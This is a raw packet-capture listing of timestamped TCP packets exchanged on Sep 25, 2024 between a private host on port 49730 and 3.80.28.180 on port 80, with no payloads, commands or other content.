Sep 25, 2024 03:51:30.711123943 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.711206913 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.739979982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.739999056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740025043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740040064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740053892 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.740060091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740087986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740101099 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.740104914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740123034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740135908 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.740173101 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.740207911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740226030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740241051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740283966 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.740386963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740401983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740417004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740434885 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.740475893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740477085 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.740493059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740509987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740523100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740537882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740554094 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.740559101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740575075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740576982 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.740602016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.740696907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740744114 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.740784883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740801096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740816116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740829945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740843058 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.740847111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740864992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.740871906 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.740923882 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.741024971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.741040945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.741065979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.741081953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.741082907 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.741100073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.741115093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.741128922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.741139889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.741152048 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.741255999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.741314888 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.741497040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.741513014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.741528988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.741544008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.741559982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.741559982 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.741578102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.741590023 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.741595030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.741611958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.741621017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.741626978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.741641998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.741653919 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.741657972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.741674900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.741678953 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.741692066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.741715908 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.741933107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.741949081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742002964 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.742088079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742103100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742116928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742130041 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.742131948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742149115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742156982 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.742165089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742182016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742196083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742203951 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.742213964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742221117 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.742230892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742244959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742269993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742276907 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.742285967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742305994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742310047 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.742337942 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.742777109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742801905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742816925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742824078 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.742834091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742850065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742857933 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.742867947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742883921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742888927 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.742899895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742917061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742923021 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.742933989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742949963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742961884 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.742964983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742986917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.742997885 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.743001938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.743019104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.743026972 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.743035078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.743051052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.743067026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.743076086 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.743083954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.743099928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.743103027 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.743114948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.743117094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.743195057 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.743555069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.743571043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.743629932 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.743725061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.743741035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.743753910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.743783951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.743812084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.743822098 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.743829012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.743833065 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.743845940 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.743864059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.743865967 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.743880987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.743931055 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.743938923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.743946075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.743959904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.743967056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.743974924 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.743988991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.744002104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.744002104 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.744020939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.744030952 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.744039059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.744043112 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.744055986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.744071960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.744075060 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.744117975 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.744481087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.744498968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.744541883 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.767997026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.768030882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.768048048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.768063068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.768075943 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.768080950 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.768098116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.768110037 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.768115044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.768137932 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.811702967 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.831083059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.831108093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.831137896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.831152916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.831160069 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.831171989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.831192017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.831202984 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.831235886 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.831300020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.831315994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.831331968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.831378937 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.831420898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.831437111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.831453085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.831464052 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.831470966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.831490040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.831490993 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.831542015 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.831584930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.831610918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.831628084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.831645012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.831660032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.831671953 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.831707001 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.831885099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.831902027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.831918001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.831933975 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.831935883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.831954002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.831964016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.831969976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.831988096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.831995010 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.832004070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.832020998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.832032919 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.832041025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.832066059 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.832293987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.832310915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.832326889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.832343102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.832350969 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.832360983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.832377911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.832381964 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.832396030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.832411051 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.832441092 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.832623959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.832640886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.832655907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.832672119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.832678080 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.832689047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.832705021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.832716942 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.832721949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.832739115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.832745075 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.832808018 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.833019972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833035946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833061934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833076954 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.833081007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833097935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833113909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833128929 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.833129883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833147049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833161116 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.833164930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833180904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833193064 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.833198071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833214045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833220005 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.833231926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833249092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833266020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833287001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833287954 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.833312988 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.833326101 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.833663940 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833681107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833697081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833713055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833729029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833739042 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.833746910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833758116 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.833790064 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.833830118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833848000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833863974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833880901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833889961 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.833899021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833915949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833924055 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.833933115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833949089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833960056 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.833965063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833981991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.833982944 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.833998919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.834016085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.834027052 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.834033966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.834048986 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.834052086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.834068060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.834090948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.834803104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.834829092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.834845066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.834852934 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.834862947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.834878922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.834889889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.834897041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.834913969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.834930897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.834942102 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.834947109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.834955931 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.834965944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.834981918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.834990978 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.835001945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.835019112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.835028887 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.835036039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.835052013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.835055113 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.835072994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.835088968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.835105896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.835108995 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.835119009 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.835123062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.835139990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.835156918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.835164070 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.835172892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.835196018 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.835561037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.835577965 CEST	80	49730	3.80.28.180	192.168.2.4
